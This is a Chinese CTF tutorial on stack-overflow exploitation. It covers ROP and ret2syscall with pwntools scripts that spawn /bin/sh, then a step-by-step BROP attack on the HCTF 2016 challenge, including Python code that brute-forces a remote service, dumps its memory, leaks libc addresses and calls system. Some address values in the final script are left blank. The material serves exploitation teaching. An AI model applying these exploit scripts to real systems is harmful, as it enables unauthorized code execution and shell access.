pwn-栈溢出2

简介: pwn-栈溢出2

pwn-栈溢出2


ROP

返回导向编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全中的一种漏洞利用技术,该技术允许攻击者在程序启用了安全保护技术(如堆栈不可执行)的情况下控制程序执行流,执行恶意代码[1]。其核心思想是通过栈溢出等方式控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(称为Gadgets)。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。


栈帧变化




普通ROP:


方法1:


  • F5反汇编

  • checksec 查看信息

  • 计算padding

  • 查找gadgets
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --only 'int'
ROPgadget --binary ret2syscall --string '/bin/sh'

1054e8316a838799ca657b4c30c48dbd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

from pwn import *
p = process('./ret2syscall')
pop_edx = 0x0806eb90
binbash = 0x080be408
pop_eax = 0x080bb196
int_0x80 = 0x08049421
payload = flat(['A' * 112, pop_edx, 0, 0, binbash, pop_eax, 0xb, int_0x80])
p.sendline(payload)
p.interactive()

629a95a9446f42da0579cd15f14692b1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


方法2:


ROPgadget --binary ret2syscall --ropchain

from struct import pack
# Padding goes here
p = b''
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x080bb196) # pop eax ; ret
p += b'/bin'
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea064) # @ .data + 4
p += pack(b'<I', 0x080bb196) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x08054590) # xor eax, eax ; ret
p += pack(b'<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x080481c9) # pop ebx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x080ea060) # padding without overwrite ebx
p += pack(b'<I', 0x0806eb6a) # pop edx ; ret
p += pack(b'<I', 0x080ea068) # @ .data + 8
p += pack(b'<I', 0x08054590) # xor eax, eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x0807b5bf) # inc eax ; ret
p += pack(b'<I', 0x08049421) # int 0x80
from pwn import *
# context.log_level="debug"
sh = process('./ret2syscall')
# print(p)
sh.sendline(b'A'*112 + p)
sh.interactive()

bfea908283d191f7c9210cda16f339e2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


BROP:


利用条件


  1. 存在稳定触发的栈溢出漏洞。
  2. 进程崩溃后,会立即重启,且重启后的内存不会重新随机化。这样及时开启了ASLR也可以利用
  3. 如果开启了PIE,则服务器必须是fork服务器,且不能使用execve。


利用阶段


  1. Stack Reading : 泄露返回地址和canaries。根据返回地址确定加载地址。一个字节一个字节爆破8字节canaries,每个字节有256中可能性。
  2. BROP:远程搜索gadgets,目标是将目标程序从内存写到socket,传回攻击者本地。
  1. 通过syscall、call调用类似write、put等函数。
  1. Build EXP:利用gadgets构造的ROP,从内存中拿出来。就可以进行普通ROP攻击了。

例二:HCTF 2016 brop


#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    puts("WelCome my friend,Do you know password?");
        if(!check()) {
            puts("Do not dump my memory");
        } else {
            puts("No password, no game");
        }
}
int check() {
    char buf[50];
    read(STDIN_FILENO, buf, 1024);
    return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

出题人GitHub连接https://github.com/zh-explorer/hctf2016-brop


1.爆破溢出长度。每次增加一个字符,如果正常返回说明没有溢出。如果刚好错误,说明已经溢出了。返回溢出值 - 1

def get_buffer_size():
    for i in range(100):
        payload = "A"
        payload += "A" * i
        buf_size = len(payload) - 1
        try:
            p = remote('192.168.190.129', 10001)
            p.recvuntil("password?\n")
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size

2.找到一个stop_gadget。这个目的是找到一个类似sleep的函数,程序执行到此会挂在这里。

def get_stop_addr(buf_size):
    addr = 0x400000
    while 1:
        addr += 1
        payload = b'a' * buf_size
        payload += p64(addr)
        try:
            p = get_io()
            p.sendline(payload)
            p.recv(timeout=1)
            p.close()
            log.info("stop addr:0x%x" % addr)
            return addr
        except EOFError as e:
            # p.close()
            log.info("stop bad 0x%x" % addr)
        except:
            p.close()
            addr -= 1

3.找到一个通用的gadget。目的是操作rdi,通过寄存器rdi进行传值。

而5f c3就是pop rdi;ret,所以pop_rdi = gadget_addr + 9

def get_gadgets_addr(buf_size, stop_addr):
    addr = stop_addr
    while 1:
        # sleep(0.1)
        addr += 1
        payload = b'a' * buf_size
        payload += p64(addr)
        payload += p64(1)
        payload += p64(2)
        payload += p64(3)
        payload += p64(4)
        payload += p64(5)
        payload += p64(6)
        try:
            io = get_io()
            io.sendline(payload + p64(stop_addr))
            io.recv(timeout=1)
            io.close()
            log.info("find address: 0x%x" % addr)
            try:
                io = get_io()
                io.sendline(payload)
                io.recv(timeout=1)
                io.close()
                log.info("bad address 0x%x" % addr)
            except:
                io.close()
                log.info("gadget address:0x%x" % addr)
                return addr
        except EOFError as e:
            io.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("can't connect")
            addr -= 1

此时堆栈情况


4.找到程序中的puts、write函数。目的是通过这个函数打印程序内存数据、函数地址等

利用Windows可执行文件 45 5a linux \7fELF方式进行判断是否是真正的put地址。

def get_puts_call_addr(buf_size, stop_addr, gadget_addr):
    addr = stop_addr
    pop_rdi = gadget_addr + 9
    # addr = 0x401190
    while 1:
        sleep(0.1)
        addr += 1
        payload = b'a' * buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            io = get_io()
            io.sendline(payload)
            # print(str(io.recv()))
            elf = io.recv()
            if elf.startswith(b"\x7fELF"):
                print(elf)
                log.info("puts call address: 0x%x" % addr)
                io.close()
                return addr
            log.info("puts bad 0x%x" % addr)
            io.close()
        except EOFError as e:
            io.close()
            log.info("puts bad 0x%x" % addr)
        except:
            log.info("can't connect")
            addr -= 1

此时堆栈分析

pdi = 0x400000  ==  puts(0x400000)

5.dump程序内存,和第四步一样,只是这里确定了函数地址,变化参数值而已。目的是打印函数内存,找到put_got的值

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi = gadgets_addr + 9  # pop rdi; ret
    result = b""
    while start_addr < end_addr:
        # print result.encode('hex')
        # sleep(0.1)
        payload = b"A" * buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = get_io()
            p.sendline(payload)
            data = p.recv(timeout=0.1)  # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            # log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
            print("%d" % (end_addr - start_addr))
        except:
            # pass
            log.info("Can't connect")
    return result

6.分析dump的内存

9256b02694dad6d1f7489aa34b91aeea_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

7.根据got地址找到函数地址

def get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
    payload = b"A" * buf_size
    payload += p64(gadget_addr + 9)
    payload += p64(puts_got)
    payload += p64(puts_call_addr)
    payload += p64(stop_addr)
    data = b''
    p = get_io()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + b'\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()
    return data

puts(puts_got)

8.利用ret2libc中学习的基地址绑定关系,得到system和/bin/sh地址

def leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
    global system_addr, binsh_addr
    puts_addr = get_puts_addr(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
    # 利用libcsearch
    # libcSearch = LibcSearcher('puts', puts_addr)
    # libc_base = puts_addr - libcSearch.dump('puts')
    #
    # system_addr = libc_base + libcSearch.dump('system')
    # binsh_addr = libc_base + libcSearch.dump('str_bin_sh')
    #
    # log.info("system 0x%x" % system_addr)
    # log.info("system 0x%x" % binsh_addr)
    #
    # 利用libc.so
    libc = ELF('./ubuntu_libc.so.6')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    # binsh_addr = puts_addr - libc.sym['puts'] + 0x186C6C
    print(hex(libc.sym['system']))
    binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
    log.info("system 0x%x" % system_addr)
    log.info("binsh 0x%x" % binsh_addr)

9.执行system

def pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr):
    payload = b'a' * buf_size
    payload += p64(gadget_addr + 9)
    payload += p64(binsh_addr)
    payload += p64(system_addr)
    io = get_io()
    io.sendline(payload)
    io.interactive()

rdi = /bin/sh

system("/bin/sh")

10.执行

if __name__ == "__main__":
    # buf_size = get_buffer_size()
    buf_size = 
    # stop_addr = get_stop_addr(buf_size)
    stop_addr = 
    # gadget_addr = get_gadgets_addr(buf_size, stop_addr)
    gadget_addr = 
    # puts_call_addr = get_puts_call_addr(buf_size, stop_addr, gadget_addr)
    # puts_call_addr = 
    puts_call_addr = 
    #
    # data_bin = dump_memory(72,stop_addr,gadget_addr,puts_call_addr,0x400000,0x402000)
    # with open('data.bin','wb') as f:
    #     f.write(data_bin)
    #     f.close()
    # puts_got = 
    puts_got = 
    leak(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)
    pwn(buf_size, gadget_addr, puts_got, puts_call_addr, stop_addr)

相关文章
|
22天前
|
C语言
【数据结构】栈和队列(c语言实现)(附源码)
本文介绍了栈和队列两种数据结构。栈是一种只能在一端进行插入和删除操作的线性表,遵循“先进后出”原则;队列则在一端插入、另一端删除,遵循“先进先出”原则。文章详细讲解了栈和队列的结构定义、方法声明及实现,并提供了完整的代码示例。栈和队列在实际应用中非常广泛,如二叉树的层序遍历和快速排序的非递归实现等。
109 9
|
13天前
|
存储 算法
非递归实现后序遍历时,如何避免栈溢出?
后序遍历的递归实现和非递归实现各有优缺点,在实际应用中需要根据具体的问题需求、二叉树的特点以及性能和空间的限制等因素来选择合适的实现方式。
21 1
|
16天前
|
存储 算法 Java
数据结构的栈
栈作为一种简单而高效的数据结构,在计算机科学和软件开发中有着广泛的应用。通过合理地使用栈,可以有效地解决许多与数据存储和操作相关的问题。
|
19天前
|
存储 JavaScript 前端开发
执行上下文和执行栈
执行上下文是JavaScript运行代码时的环境,每个执行上下文都有自己的变量对象、作用域链和this值。执行栈用于管理函数调用,每当调用一个函数,就会在栈中添加一个新的执行上下文。
|
20天前
|
存储
系统调用处理程序在内核栈中保存了哪些上下文信息?
【10月更文挑战第29天】系统调用处理程序在内核栈中保存的这些上下文信息对于保证系统调用的正确执行和用户程序的正常恢复至关重要。通过准确地保存和恢复这些信息,操作系统能够实现用户模式和内核模式之间的无缝切换,为用户程序提供稳定、可靠的系统服务。
47 4
|
1月前
|
算法 程序员 索引
数据结构与算法学习七:栈、数组模拟栈、单链表模拟栈、栈应用实例 实现 综合计算器
栈的基本概念、应用场景以及如何使用数组和单链表模拟栈,并展示了如何利用栈和中缀表达式实现一个综合计算器。
33 1
数据结构与算法学习七:栈、数组模拟栈、单链表模拟栈、栈应用实例 实现 综合计算器
|
25天前
|
算法 安全 NoSQL
2024重生之回溯数据结构与算法系列学习之栈和队列精题汇总(10)【无论是王道考研人还是IKUN都能包会的;不然别给我家鸽鸽丢脸好嘛?】
数据结构王道第3章之IKUN和I原达人之数据结构与算法系列学习栈与队列精题详解、数据结构、C++、排序算法、java、动态规划你个小黑子;这都学不会;能不能不要给我家鸽鸽丢脸啊~除了会黑我家鸽鸽还会干嘛?!!!
|
1月前
初步认识栈和队列
初步认识栈和队列
61 10
|
1月前
数据结构(栈与列队)
数据结构(栈与列队)
20 1
|
1月前
|
算法
数据结构与算法二:栈、前缀、中缀、后缀表达式、中缀表达式转换为后缀表达式
这篇文章讲解了栈的基本概念及其应用,并详细介绍了中缀表达式转换为后缀表达式的算法和实现步骤。
48 3